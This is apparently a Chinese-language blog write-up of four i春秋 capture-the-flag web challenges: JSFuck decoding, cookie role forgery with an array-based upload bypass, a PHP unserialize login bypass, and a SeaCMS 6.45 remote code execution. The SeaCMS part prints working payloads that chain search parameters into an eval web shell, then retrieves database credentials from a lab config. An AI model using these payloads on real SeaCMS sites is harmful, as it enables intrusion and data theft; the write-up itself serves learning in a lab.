i春秋3

web——borken

这里一打开,出现很多

img

这个东西,我也不知道是啥,于是就去看了一下wp发现是JSFUCK,是一种编程语言,所以学习一下:
JSFUCK:JSFuck 可以让你只用 6 个字符[]()!+来编写 JavaScript 程序。

我看看能不能解密,将页面上的JSFUCK拿去解码
img
发现最上面少而另一],将它补齐后在下面窗口运行,弹出:
flag not here
看到这么多的奇怪字符,我觉得好痛苦,看了WP有两种方法,一种是对照找出flag在这些代码中放置的位置,第二种是:上面那段代码的原理其实很简单,它使用了Function关键字定义一个匿名函数,并立即执行了。

如果我们在浏览器敲入下面代码,也会弹出数字“1”:

1
Function("alert(1)")()

该段代码最后()代表的是函数的结尾,所以只要把最后这个括号删掉就不会弹框了,然后一开始补齐的代码,也需要一起删除,这样才能显示被掩盖的结果

img

web-who are you

打开页面 说没有权限,于是抓包看看有没有什么修改权限地方
img
看起来像是加密了,所以base64试着解码一下,得到
f:5:"thrfg";接下来就触及了知识盲区了
原来以上的内容又使用了rot13加密,所以解密完以后变成
s:5:”guest”,更改为admin,再去重新加密试试
img
她现在让我们上传东西了,但是却没有上传的框框,看到这里是要POST上传的

img 试了几种一句话木马都被过滤了,后来实在想不到了,看了一下WP,原来--可以用输入**数组的方式**进行绕过检查大概算是一种经验吧,积累一波 img

但是当我打开这个文件夹的时候啥都没有–,用扫描目录的工具扫了一波 都没发现存在这个目录,,,阿这挺无语的

web——Login

在下面审查元素找到一个类似于账号密码的东西,输入进去登录后得到一个很奇怪的表情人傻了,但是其他信息也没有,burpsuit抓包试试,也没发现什么有用的东西=-=,但是有一个show的参数 去看了一下wp,这个show好像是关键的东西,然后回来,修改了一下show的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);//从这几个地方获取$requset的值
class db //定义类
{
public $where;
function __wakeup()//定义函数
{
if(!empty($this->where))
{
$this->select($this->where);
}
}

function select($where)
{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);
}
}

if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
?>

把show改为1就出现了如上源码:
接下来要审计一波这个源码–头已经开始晕了
仔细看了一下也没啥,主要是这个类和函数的定义绕来绕去的,其实就是要从库里select 出一个user=ichunqiu的,但是考虑到库里可能没有这个值,所以这里要我们自己去赋值,所以我们转化的不是单纯的‘ichunqiu’而是赋予user这一个键键值为ichunqiu
'user'->'ichunqiu'

1
2
3
4
5
<?php 
$a = array('user'=>'ichunqiu');
$b = base64_encode(gzcompress(serialize($a)));
echo $b
?>

eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
转化结果,然后再cookie添加token为以上值就行img
这样就可以得到flag了
flag{5db96a12-b37c-44e3-8152-cdd30455bae2}

web——海洋cms漏洞

隔了好几天了,看不下去这个漏洞,操作什么的倒是很好模仿,但是对于原理的理解就比较磨人了,今天发誓一定要好好学完!

原理

这里主要说一下6.45的代码任意执行漏洞,在这个漏洞中

1
2
function echoSearchPage() 
{ ...... $content = str_replace("{searchpage:page}",$page,$content); $content = str_replace("{seacms:searchword}",$searchword,$content); $content = str_replace("{seacms:searchnum}",$TotalResult,$content); $content = str_replace("{searchpage:ordername}",$order,$content); ...... $content = str_replace("{searchpage:year}",$year,$content); $content = str_replace("{searchpage:area}",$area,$content); $content = str_replace("{searchpage:letter}",$letter,$content); $content = str_replace("{searchpage:lang}",$yuyan,$content); $content = str_replace("{searchpage:jq}",$jq,$content); ...... $content = str_replace("{searchpage:state}",$state2,$content); $content = str_replace("{searchpage:money}",$money2,$content); $content = str_replace("{searchpage:ver}",$ver,$content); ...... $content=$mainClassObj->parseIf($content);

str_replace()函数:将content里面的searchpage换成前面一个变量中的

代码中对html中的searchpage标签进行了多次替换,而攻击者也正是利用了这一点,在多次替换过程中使多个参数共同组合成最终的payload,这样既绕开了RemoveXSS的过滤又绕过了20字节的长度限制。,在经过多次的替换后,此时的content已经变成了包含了我们原本的恶意语句
例子:

1
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

当我们在url中输入以上内容,经过多次的替换后,最终的content已经变成一下内容:

1
if:eval(join($_POST[9]))

而在parself函数中,如果判断出含有if:标签,则会使用eval函数来执行

1
2
3
4
5
6
function parseIf($content){    		
if (strpos($content,'{if:')=== false){
return $content;
}else{
......
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

知道这些原理后
在URL当中构建:

1
http://ef7204bb29d84b7b82022457450f9e2b21aaa4cb0d4d4570.changame.ichunqiu.com/search.php?searchtype=5&tid=&letter=eval($_POST[9])

此时就可以用蚁剑连接该链接,密码是9
为什么蚁剑可以直接连接了呢?经过多次替换后,在最后的if语句中 会执行eval($_POST[9])此命令,就相当于我们通过URL在一个php文件中插入了一句话木马,打开此URL就相当于执行了该木马。找了一下, 找到了那个search.php,决定等会还好好审计一波,然后再看了一下,说是flag在数据库中,于是找到数据库的配置文件,连接后查找即可找到flag

img

1
2
3
4
5
6
7
8
9
<?php
//数据库连接信息
$cfg_dbhost = '127.0.0.1';
$cfg_dbname = 'seacms';
$cfg_dbuser = 'sea_user';
$cfg_dbpwd = '46e06533407e';
$cfg_dbprefix = 'sea_';
$cfg_db_language = 'utf8';
?>
img
Author

vague huang

Posted on

2021-02-12

Updated on

2021-02-16

Licensed under

Comments